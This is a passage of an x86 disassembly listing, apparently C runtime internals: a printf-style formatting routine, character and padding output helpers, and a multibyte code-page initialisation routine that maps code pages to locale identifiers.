jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F810: ; CODE XREF: sub_41F69F+15Dj
or [ebp+var_4], 10h
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F819: ; CODE XREF: sub_41F69F+158j
or [ebp+var_4], 20h
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F822: ; CODE XREF: sub_41F69F+153j
cmp byte ptr [edi], 36h
jnz short loc_41F83B
cmp byte ptr [edi+1], 34h
jnz short loc_41F83B
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F83B: ; CODE XREF: sub_41F69F+186j
; sub_41F69F+18Cj
mov [ebp+var_30], edx
loc_41F83E: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
mov ecx, off_43C2F8 ; jumptable 0041F70D case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41F86A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41FDE0
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_41F86A: ; CODE XREF: sub_41F69F+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41FDE0
add esp, 0Ch
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F882: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
movsx eax, bl ; jumptable 0041F70D case 7
cmp eax, 67h
jg loc_41FAAA
cmp eax, 65h
jge loc_41F92D
cmp eax, 58h
jg loc_41F98B
jz loc_41FB1E
sub eax, 43h
jz loc_41F94E
dec eax
dec eax
jz short loc_41F923
dec eax
dec eax
jz short loc_41F923
sub eax, 0Ch
jnz loc_41FCA9
test word ptr [ebp+var_4], 830h
jnz short loc_41F8CC
or byte ptr [ebp+var_4+1], 8
loc_41F8CC: ; CODE XREF: sub_41F69F+227j
; sub_41F69F+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_41F8D9
mov esi, 7FFFFFFFh
loc_41F8D9: ; CODE XREF: sub_41F69F+233j
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_41FAF2
test ecx, ecx
jnz short loc_41F901
mov ecx, off_43C514
mov [ebp+var_8], ecx
loc_41F901: ; CODE XREF: sub_41F69F+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_41F90A: ; CODE XREF: sub_41F69F+282j
mov edx, esi
dec esi
test edx, edx
jz loc_41FAE9
cmp word ptr [eax], 0
jz loc_41FAE9
inc eax
inc eax
jmp short loc_41F90A
; ---------------------------------------------------------------------------
loc_41F923: ; CODE XREF: sub_41F69F+212j
; sub_41F69F+216j
mov [ebp+var_34], 1
add bl, 20h
loc_41F92D: ; CODE XREF: sub_41F69F+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_41FA11
mov [ebp+var_10], 6
jmp loc_41FA1F
; ---------------------------------------------------------------------------
loc_41F94E: ; CODE XREF: sub_41F69F+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_41F95A
or byte ptr [ebp+var_4+1], 8
loc_41F95A: ; CODE XREF: sub_41F69F+2B5j
; sub_41F69F+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_41F9A1
call sub_41FE9B
push eax
lea eax, [ebp+var_248]
push eax
call sub_423E5B
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_41F9B4
mov [ebp+var_28], 1
jmp short loc_41F9B4
; ---------------------------------------------------------------------------
loc_41F98B: ; CODE XREF: sub_41F69F+1FBj
sub eax, 5Ah
jz short loc_41F9C2
sub eax, 9
jz short loc_41F95A
dec eax
jz loc_41FB84
jmp loc_41FCA9
; ---------------------------------------------------------------------------
loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j
call sub_41FE7E
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j
; sub_41F69F+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_41FCA9
; ---------------------------------------------------------------------------
loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test eax, eax
pop ecx
jz short loc_41FA03
mov ecx, [eax+4]
test ecx, ecx
jz short loc_41FA03
test byte ptr [ebp+var_4+1], 8
jz short loc_41F9F4
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_41FCA9
; ---------------------------------------------------------------------------
loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FA03: ; CODE XREF: sub_41F69F+32Fj
; sub_41F69F+336j
mov eax, off_43C510
mov [ebp+var_8], eax
push eax
jmp loc_41FA9F
; ---------------------------------------------------------------------------
loc_41FA11: ; CODE XREF: sub_41F69F+29Dj
jnz short loc_41FA1F
cmp bl, 67h
jnz short loc_41FA1F
mov [ebp+var_10], 1
loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj
; sub_41F69F:loc_41FA11j ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43C8A0
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_41FA71
cmp [ebp+var_10], 0
jnz short loc_41FA71
lea eax, [ebp+var_248]
push eax
call off_43C8AC
pop ecx
loc_41FA71: ; CODE XREF: sub_41F69F+3BCj
; sub_41F69F+3C2j
cmp bl, 67h
jnz short loc_41FA88
test esi, esi
jnz short loc_41FA88
lea eax, [ebp+var_248]
push eax
call off_43C8A4
pop ecx
loc_41FA88: ; CODE XREF: sub_41F69F+3D5j
; sub_41F69F+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_41FA9E
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j
push edi
loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj
call sub_41AFE0
pop ecx
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j
sub eax, 69h
jz loc_41FB84
sub eax, 5
jz loc_41FB5A
dec eax
jz loc_41FB47
dec eax
jz short loc_41FB17
sub eax, 3
jz loc_41F8CC
dec eax
dec eax
jz loc_41FB88
sub eax, 3
jnz loc_41FCA9
mov [ebp+var_2C], 27h
jmp short loc_41FB25
; ---------------------------------------------------------------------------
loc_41FAE9: ; CODE XREF: sub_41F69F+270j
; sub_41F69F+27Aj
sub eax, ecx
sar eax, 1
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj
test ecx, ecx
jnz short loc_41FAFF
mov ecx, off_43C510
mov [ebp+var_8], ecx
loc_41FAFF: ; CODE XREF: sub_41F69F+455j
mov eax, ecx
loc_41FB01: ; CODE XREF: sub_41F69F+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_41FB10
cmp byte ptr [eax], 0
jz short loc_41FB10
inc eax
jmp short loc_41FB01
; ---------------------------------------------------------------------------
loc_41FB10: ; CODE XREF: sub_41F69F+467j
; sub_41F69F+46Cj
sub eax, ecx
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FB17: ; CODE XREF: sub_41F69F+425j
mov [ebp+var_10], 8
loc_41FB1E: ; CODE XREF: sub_41F69F+201j
mov [ebp+var_2C], 7
loc_41FB25: ; CODE XREF: sub_41F69F+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_41FB8F
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_41FB8F
; ---------------------------------------------------------------------------
loc_41FB47: ; CODE XREF: sub_41F69F+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_41FB8F
or byte ptr [ebp+var_4+1], 2
jmp short loc_41FB8F
; ---------------------------------------------------------------------------
loc_41FB5A: ; CODE XREF: sub_41F69F+417j
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_41FB73
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_41FB78
; ---------------------------------------------------------------------------
loc_41FB73: ; CODE XREF: sub_41F69F+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_41FB78: ; CODE XREF: sub_41F69F+4D2j
mov [ebp+var_28], 1
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41FB84: ; CODE XREF: sub_41F69F+2F7j
; sub_41F69F+40Ej
or [ebp+var_4], 40h
loc_41FB88: ; CODE XREF: sub_41F69F+432j
mov [ebp+var_C], 0Ah
loc_41FB8F: ; CODE XREF: sub_41F69F+491j
; sub_41F69F+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_41FBA1
lea eax, [ebp+arg_8]
push eax
call sub_41FE8B
pop ecx
jmp short loc_41FBE2
; ---------------------------------------------------------------------------
loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_41FBC8
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FBBD
call sub_41FE7E
pop ecx
movsx eax, ax
loc_41FBBA: ; CODE XREF: sub_41F69F+527j
; sub_41F69F+539j
cdq
jmp short loc_41FBE2
; ---------------------------------------------------------------------------
loc_41FBBD: ; CODE XREF: sub_41F69F+510j
call sub_41FE7E
pop ecx
movzx eax, ax
jmp short loc_41FBBA
; ---------------------------------------------------------------------------
loc_41FBC8: ; CODE XREF: sub_41F69F+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FBDA
call sub_41FE7E
pop ecx
jmp short loc_41FBBA
; ---------------------------------------------------------------------------
loc_41FBDA: ; CODE XREF: sub_41F69F+531j
call sub_41FE7E
pop ecx
xor edx, edx
loc_41FBE2: ; CODE XREF: sub_41F69F+500j
; sub_41F69F+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_41FC03
test edx, edx
jg short loc_41FC03
jl short loc_41FBF2
test eax, eax
jnb short loc_41FC03
loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_41FC07
; ---------------------------------------------------------------------------
loc_41FC03: ; CODE XREF: sub_41F69F+547j
; sub_41F69F+54Bj ...
mov esi, eax
mov edi, edx
loc_41FC07: ; CODE XREF: sub_41F69F+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_41FC10
and edi, 0
loc_41FC10: ; CODE XREF: sub_41F69F+56Cj
cmp [ebp+var_10], 0
jge short loc_41FC1F
mov [ebp+var_10], 1
jmp short loc_41FC23
; ---------------------------------------------------------------------------
loc_41FC1F: ; CODE XREF: sub_41F69F+575j
and [ebp+var_4], 0FFFFFFF7h
loc_41FC23: ; CODE XREF: sub_41F69F+57Ej
mov eax, esi
or eax, edi
jnz short loc_41FC2D
and [ebp+var_1C], 0
loc_41FC2D: ; CODE XREF: sub_41F69F+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_41FC33: ; CODE XREF: sub_41F69F+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_41FC43
mov eax, esi
or eax, edi
jz short loc_41FC7E
loc_41FC43: ; CODE XREF: sub_41F69F+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_41D480
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_41D410
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_41FC74
add ebx, [ebp+var_2C]
loc_41FC74: ; CODE XREF: sub_41F69F+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_41FC33
; ---------------------------------------------------------------------------
loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_41FCA9
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_41FC9C
test eax, eax
jnz short loc_41FCA9
loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj
; sub_41F69F+406j ...
mov [ebp+var_C], eax
loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj
; sub_41F69F+2FDj ...
cmp [ebp+var_28], 0
jnz loc_41FDA7 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_41FCE1
test bh, 1
jz short loc_41FCC6
mov [ebp+var_16], 2Dh
jmp short loc_41FCDA
; ---------------------------------------------------------------------------
loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj
test bl, 1
jz short loc_41FCD1
mov [ebp+var_16], 2Bh
jmp short loc_41FCDA
; ---------------------------------------------------------------------------
loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj
test bl, 2
jz short loc_41FCE1
mov [ebp+var_16], 20h
loc_41FCDA: ; CODE XREF: sub_41F69F+625j
; sub_41F69F+630j
mov [ebp+var_1C], 1
loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj
; sub_41F69F+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_41FD01
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41FE15
add esp, 10h
loc_41FD01: ; CODE XREF: sub_41F69F+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_41FE46
add esp, 10h
test bl, 8
jz short loc_41FD33
test bl, 4
jnz short loc_41FD33
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_41FE15
add esp, 10h
loc_41FD33: ; CODE XREF: sub_41F69F+67Bj
; sub_41F69F+680j
cmp [ebp+var_24], 0
jz short loc_41FD7A
cmp [ebp+var_C], 0
jle short loc_41FD7A
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_41FD48: ; CODE XREF: sub_41F69F+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_423E5B
pop ecx
test eax, eax
pop ecx
jle short loc_41FD8F
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_41FE46
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_41FD48
jmp short loc_41FD8F
; ---------------------------------------------------------------------------
loc_41FD7A: ; CODE XREF: sub_41F69F+698j
; sub_41F69F+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_41FE46
add esp, 10h
loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj
; sub_41F69F+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_41FDA7 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41FE15
add esp, 10h
loc_41FDA7: ; CODE XREF: sub_41F69F+68j
; sub_41F69F+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_41F6CB
loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj
; sub_41F69F+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41F69F endp
; ---------------------------------------------------------------------------
off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er
dd offset loc_41F714 ; jump table for switch statement
dd offset loc_41F72F
dd offset loc_41F77B
dd offset loc_41F7B2
dd offset loc_41F7BA
dd offset loc_41F7EF
dd offset loc_41F882
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp
; sub_41F69F+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_41FDF9
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_41FE04
; ---------------------------------------------------------------------------
loc_41FDF9: ; CODE XREF: sub_41FDE0+9j
push ecx
push [ebp+arg_0]
call sub_41F58A
pop ecx
pop ecx
loc_41FE04: ; CODE XREF: sub_41FDE0+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_41FE11
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_41FDE0 endp
; =============== S U B R O U T I N E =======================================
sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap
; sub_41F69F+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_41FE43
mov esi, [esp+8+arg_C]
loc_41FE26: ; CODE XREF: sub_41FE15+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_41FDE0
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_41FE43
mov eax, edi
dec edi
test eax, eax
jg short loc_41FE26
loc_41FE43: ; CODE XREF: sub_41FE15+Bj
; sub_41FE15+25j
pop edi
pop esi
retn
sub_41FE15 endp
; =============== S U B R O U T I N E =======================================
sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p
; sub_41F69F+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_41FE7A
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_41FE5C: ; CODE XREF: sub_41FE46+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_41FDE0
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_41FE7A
mov eax, ebx
dec ebx
test eax, eax
jg short loc_41FE5C
loc_41FE7A: ; CODE XREF: sub_41FE46+Cj
; sub_41FE46+2Bj
pop edi
pop esi
pop ebx
retn
sub_41FE46 endp
; =============== S U B R O U T I N E =======================================
sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p
; sub_41F69F+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_41FE7E endp
; =============== S U B R O U T I N E =======================================
sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_41FE8B endp
; =============== S U B R O U T I N E =======================================
sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_41FE9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_420042
mov esi, eax
pop ecx
cmp esi, dword_4DC6C4
mov [ebp+arg_0], esi
jz loc_420036
xor ebx, ebx
cmp esi, ebx
jz loc_42002C
xor edx, edx
mov eax, offset dword_43C520
loc_41FEDD: ; CODE XREF: sub_41FEA9+41j
cmp [eax], esi
jz short loc_41FF53
add eax, 30h
inc edx
cmp eax, offset dword_43C610
jl short loc_41FEDD
lea eax, [ebp+var_18]
push eax
push esi
call near ptr 28B0000h
nop
cmp eax, 1
jnz loc_420024
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DC7E0
cmp [ebp+var_18], 1
mov dword_4DC6C4, esi
rep stosd
stosb
mov dword_4DC8E4, ebx
jbe loc_420012
cmp [ebp+var_12], 0
jz loc_41FFE8
lea ecx, [ebp+var_11]
loc_41FF30: ; CODE XREF: sub_41FEA9+139j
mov dl, [ecx]
test dl, dl
jz loc_41FFE8
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_41FF41: ; CODE XREF: sub_41FEA9+A8j
cmp eax, edx
ja loc_41FFDC
or byte_4DC7E1[eax], 4
inc eax
jmp short loc_41FF41
; ---------------------------------------------------------------------------
loc_41FF53: ; CODE XREF: sub_41FEA9+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DC7E0
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43C530[esi]
loc_41FF6F: ; CODE XREF: sub_41FEA9+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_41FFA2
loc_41FF76: ; CODE XREF: sub_41FEA9+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_41FFA2
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41FF9B
mov edx, [ebp+var_4]
mov dl, byte_43C518[edx]
loc_41FF90: ; CODE XREF: sub_41FEA9+F0j
or byte_4DC7E1[eax], dl
inc eax
cmp eax, edi
jbe short loc_41FF90
loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41FF76
loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj
; sub_41FEA9+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_41FF6F
mov eax, [ebp+arg_0]
mov dword_4DC6DC, 1
push eax
mov dword_4DC6C4, eax
call sub_42008C
lea esi, dword_43C524[esi]
mov edi, offset dword_4DC6D0
movsd
movsd
pop ecx
mov dword_4DC8E4, eax
movsd
jmp short loc_420031
; ---------------------------------------------------------------------------
loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_41FF30
loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej
; sub_41FEA9+8Bj
push 1
pop eax
loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj
or byte_4DC7E1[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_41FFEB
push esi
call sub_42008C
pop ecx
mov dword_4DC8E4, eax
mov dword_4DC6DC, 1
jmp short loc_420018
; ---------------------------------------------------------------------------
loc_420012: ; CODE XREF: sub_41FEA9+74j
mov dword_4DC6DC, ebx
loc_420018: ; CODE XREF: sub_41FEA9+167j
xor eax, eax
mov edi, offset dword_4DC6D0
stosd
stosd
stosd
jmp short loc_420031
; ---------------------------------------------------------------------------
loc_420024: ; CODE XREF: sub_41FEA9+51j
cmp dword_4DB300, ebx
jz short loc_42003A
loc_42002C: ; CODE XREF: sub_41FEA9+27j
call sub_4200BF
loc_420031: ; CODE XREF: sub_41FEA9+131j
; sub_41FEA9+179j
call sub_4200E8
loc_420036: ; CODE XREF: sub_41FEA9+1Dj
xor eax, eax
jmp short loc_42003D
; ---------------------------------------------------------------------------
loc_42003A: ; CODE XREF: sub_41FEA9+181j
or eax, 0FFFFFFFFh
loc_42003D: ; CODE XREF: sub_41FEA9+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41FEA9 endp
; =============== S U B R O U T I N E =======================================
sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_4DB300, 0
cmp eax, 0FFFFFFFEh
jnz short loc_420062
mov dword_4DB300, 1
nop
jmp near ptr 2650949h
; ---------------------------------------------------------------------------
loc_420062: ; CODE XREF: sub_420042+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_420077
mov dword_4DB300, 1
nop
jmp near ptr 28B070Eh
; ---------------------------------------------------------------------------
loc_420077: ; CODE XREF: sub_420042+23j
cmp eax, 0FFFFFFFCh
jnz short locret_42008B
mov eax, dword_4DB344
mov dword_4DB300, 1
locret_42008B: ; CODE XREF: sub_420042+38j
retn
sub_420042 endp
; =============== S U B R O U T I N E =======================================
sub_42008C proc near ; CODE XREF: sub_41FEA9+118p
; sub_41FEA9+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_4200B9
sub eax, 4
jz short loc_4200B3
sub eax, 0Dh
jz short loc_4200AD
dec eax
jz short loc_4200A7
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4200A7: ; CODE XREF: sub_42008C+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_4200AD: ; CODE XREF: sub_42008C+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_4200B3: ; CODE XREF: sub_42008C+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_4200B9: ; CODE XREF: sub_42008C+9j
mov eax, 411h
retn
sub_42008C endp
; =============== S U B R O U T I N E =======================================
sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4DC7E0
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4DC6D0
mov dword_4DC6C4, eax
mov dword_4DC6DC, eax
mov dword_4DC8E4, eax
stosd
stosd
stosd
pop edi
retn
sub_4200BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_4DC6C4
nop
call near ptr 28B0000h
cmp eax, 1
jnz loc_420221
xor eax, eax
mov esi, 100h
loc_420112: ; CODE XREF: sub_4200E8+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_420112
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_420163
push ebx
push edi
lea edx, [ebp+var_D]
loc_420131: ; CODE XREF: sub_4200E8+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_420158
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_420158: ; CODE XREF: sub_4200E8+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_420131
pop edi
pop ebx
loc_420163: ; CODE XREF: sub_4200E8+42j
push 0
lea eax, [ebp+var_514]
push dword_4DC8E4
push dword_4DC6C4
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_423CEC
push 0
lea eax, [ebp+var_214]
push dword_4DC6C4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_4DC8E4
call sub_422ACA
push 0
lea eax, [ebp+var_314]
push dword_4DC6C4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_4DC8E4
call sub_422ACA
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_4201DE: ; CODE XREF: sub_4200E8+135j
mov dx, [ecx]
test dl, 1
jz short loc_4201FC
or byte_4DC7E1[eax], 10h
mov dl, [ebp+eax+var_214]
loc_4201F4: ; CODE XREF: sub_4200E8+127j
mov byte_4DC6E0[eax], dl
jmp short loc_420218
; ---------------------------------------------------------------------------
loc_4201FC: ; CODE XREF: sub_4200E8+FCj
test dl, 2
jz short loc_420211
or byte_4DC7E1[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_4201F4
; ---------------------------------------------------------------------------
loc_420211: ; CODE XREF: sub_4200E8+117j
and byte_4DC6E0[eax], 0
loc_420218: ; CODE XREF: sub_4200E8+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_4201DE
jmp short loc_42026A
; ---------------------------------------------------------------------------
